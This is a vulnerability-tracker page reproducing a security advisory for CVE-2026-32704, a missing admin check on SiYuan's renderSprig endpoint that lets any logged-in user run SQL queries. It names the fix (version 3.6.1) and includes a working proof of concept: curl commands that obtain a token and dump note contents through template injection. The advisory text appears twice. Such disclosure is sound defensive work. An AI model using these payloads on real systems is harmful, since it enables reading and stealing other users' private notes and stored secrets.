Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
6.5
SiYuan's renderSprig allows users to read full workspace database
GHSA-4j3x-hhg2-fm2x
CVE-2026-32704
Summary
An issue in SiYuan's API allows any authenticated user to read sensitive data from their workspace database. This means that users may be able to access and potentially steal confidential information from other users' workspaces. To address this, update the SiYuan code to include the missing admin check in the renderSprig endpoint.
What to do
- Update github.com siyuan-note to version 3.6.1.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| github.com | siyuan-note | <= 3.6.0 | 3.6.1 |
Original title
SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB
Original description
### Summary
`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
### Details
**File:** `kernel/api/router.go`
Every sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:
```go
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
```
`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:
```go
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}
```
Any authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.
### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```
**Exploit:**
```bash
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
-H "Content-Type: application/json" \
-d '{"authCode":"test123"}' -c /tmp/siy.cookie
sleep 15 # wait for boot
TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
```
**Confirmed response on v3.6.0:**
```json
{"code":0,"msg":"","data":"[{\"n\":0}]"}
```
**Full note dump:**
```bash
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
```
### Impact
Any authenticated user (API token holder, Publish Service Reader) can:
- Dump **all note content** and document hierarchy from the workspace
- Exfiltrate tags, custom attributes, block IDs, and timestamps
- Search notes for stored passwords, API keys, or personal data
- Enumerate all notebooks and their structure
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.
`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
### Details
**File:** `kernel/api/router.go`
Every sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:
```go
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
```
`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:
```go
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}
```
Any authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.
### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```
**Exploit:**
```bash
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
-H "Content-Type: application/json" \
-d '{"authCode":"test123"}' -c /tmp/siy.cookie
sleep 15 # wait for boot
TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
```
**Confirmed response on v3.6.0:**
```json
{"code":0,"msg":"","data":"[{\"n\":0}]"}
```
**Full note dump:**
```bash
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
```
### Impact
Any authenticated user (API token holder, Publish Service Reader) can:
- Dump **all note content** and document hierarchy from the workspace
- Exfiltrate tags, custom attributes, block IDs, and timestamps
- Search notes for stored passwords, API keys, or personal data
- Enumerate all notebooks and their structure
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.
ghsa CVSS3.1
6.5
Vulnerability type
CWE-285
Improper Authorization
CWE-732
Incorrect Permission Assignment for Critical Resource
Published: 13 Mar 2026 · Updated: 14 Mar 2026 · First seen: 13 Mar 2026